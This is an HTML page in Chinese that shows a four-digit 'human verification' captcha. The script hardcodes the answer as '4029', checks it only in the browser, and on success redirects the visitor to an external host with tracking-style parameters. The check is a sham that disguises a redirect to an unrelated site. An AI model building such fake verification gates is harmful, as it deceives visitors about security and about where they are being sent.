<!DOCTYPE html><html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>人机验证</title><style>*{box-sizing:border-box}body{margin:0;min-height:100vh;display:grid;place-items:center;background:radial-gradient(1200px 600px at 10% -10%,#1e3a5f 0,transparent 50%),#0f1419;color:#e8eef7}.card{width:min(92vw,400px);background:#1a2332;border:1px solid #2a3a52;border-radius:16px;padding:28px 24px 24px;box-shadow:0 20px 50px rgba(0,0,0,.35)}h1{margin:0 0 6px;font-size:1.25rem;font-weight:650}p.sub{margin:0 0 18px;color:#8b9bb4;font-size:.9rem}.captcha-row{display:flex;align-items:center;gap:10px;margin-bottom:16px}canvas{display:block;width:180px;height:56px;border-radius:10px;background:#0d1520;border:1px solid #2a3a52}.refresh{height:40px;padding:0 12px;border:1px solid #2a3a52;border-radius:10px;background:#132033;color:#e8eef7;cursor:pointer;font-size:.85rem}.refresh:hover{border-color:#3d8bfd}.digits{display:flex;gap:10px;justify-content:space-between}.digits input{width:64px;height:64px;text-align:center;font-size:1.6rem;font-weight:700;letter-spacing:0;border-radius:12px;border:1px solid #2a3a52;background:#0d1520;color:#e8eef7;outline:0}.digits input:focus{border-color:#3d8bfd}.msg{min-height:22px;margin:12px 0 14px;font-size:.85rem}.msg.error{color:#f07178}.msg.ok{color:#7fd99a}button.submit{width:100%;height:44px;border:0;border-radius:10px;background:#3d8bfd;color:#fff;font-size:1rem;font-weight:600;cursor:pointer}button.submit:disabled{opacity:.45;cursor:not-allowed}button.submit:not(:disabled):hover{filter:brightness(1.08)}</style></head><body><div class="card"><h1>人机验证</h1><p class="sub">请输入图中的 4 位数字</p><div class="captcha-row"><canvas id="captcha" width="360" height="112" aria-label="验证码图片"></canvas><button type="button" class="refresh" id="refresh">换一张</button></div><div class="digits" id="digits"><input type="text" inputmode="numeric" maxlength="1"> <input type="text" inputmode="numeric" maxlength="1"> <input type="text" inputmode="numeric" maxlength="1"> <input type="text" inputmode="numeric" maxlength="1"></div><div class="msg" id="msg"></div><button class="submit" type="button" id="submit" disabled="disabled">验证</button></div><script>let canvas=document.getElementById("captcha"),ctx=canvas.getContext("2d"),inputs=[...document.querySelectorAll("#digits input")],msg=document.getElementById("msg"),submit=document.getElementById("submit"),code="4029";function randomInt(t,e){return Math.floor(Math.random()*(e-t+1))+t}function drawCaptcha(){var e=canvas.width,n=canvas.height;ctx.fillStyle="#0d1520",ctx.fillRect(0,0,e,n);for(let t=0;t<18;t++)ctx.strokeStyle=`rgba(${randomInt(80,180)}, ${randomInt(80,180)}, ${randomInt(80,180)}, 0.35)`,ctx.beginPath(),ctx.moveTo(randomInt(0,e),randomInt(0,n)),ctx.lineTo(randomInt(0,e),randomInt(0,n)),ctx.stroke();for(let t=0;t<40;t++)ctx.fillStyle=`rgba(255,255,255,${.25*Math.random()})`,ctx.fillRect(randomInt(0,e),randomInt(0,n),2,2);var a=["Georgia","Courier New","Segoe UI","Impact"];for(let t=0;t<4;t++){var c=code[t],o=(ctx.save(),40+80*t),r=70+randomInt(-8,8);ctx.translate(o,r),ctx.rotate(randomInt(-18,18)*Math.PI/180),ctx.font=randomInt(42,52)+"px "+a[t%a.length],ctx.fillStyle=`hsl(${randomInt(190,220)}, 70%, ${randomInt(65,85)}%)`,ctx.fillText(c,0,0),ctx.restore()}}function value(){return inputs.map(t=>t.value).join("")}function syncSubmit(){submit.disabled=4!==value().length}function clearInputs(){inputs.forEach(t=>t.value=""),inputs[0].focus(),syncSubmit()}document.getElementById("refresh").addEventListener("click",()=>{drawCaptcha(),clearInputs(),msg.textContent="",msg.className="msg"}),inputs.forEach((e,n)=>{e.addEventListener("input",()=>{e.value=e.value.replace(/\D/g,"").slice(0,1),e.value&&n<3&&inputs[n+1].focus(),syncSubmit()}),e.addEventListener("keydown",t=>{"Backspace"===t.key&&!e.value&&0<n&&inputs[n-1].focus()})}),submit.addEventListener("click",()=>{var t=value();4!==t.length?(msg.textContent="请输入 4 位数字",msg.className="msg error"):t===code?(msg.textContent="验证通过，正在进入...",msg.className="msg ok",submit.disabled=!0,inputs.forEach(t=>t.disabled=!0),location.href="http://16xj.com/xjyl.html?a=83323747&d=allipuram.com&sign=254D054F2068A0CA0B0B4CBA0517CB75&p=2983395642&it=86shim22pq5jqp2u3g0dubro9vd706k258esp1tr#/load".replace("#","&captcha="+t+"#")):(msg.textContent="验证码错误，请重试",msg.className="msg error",drawCaptcha(),clearInputs())}),drawCaptcha(),inputs[0].focus()</script></body></html>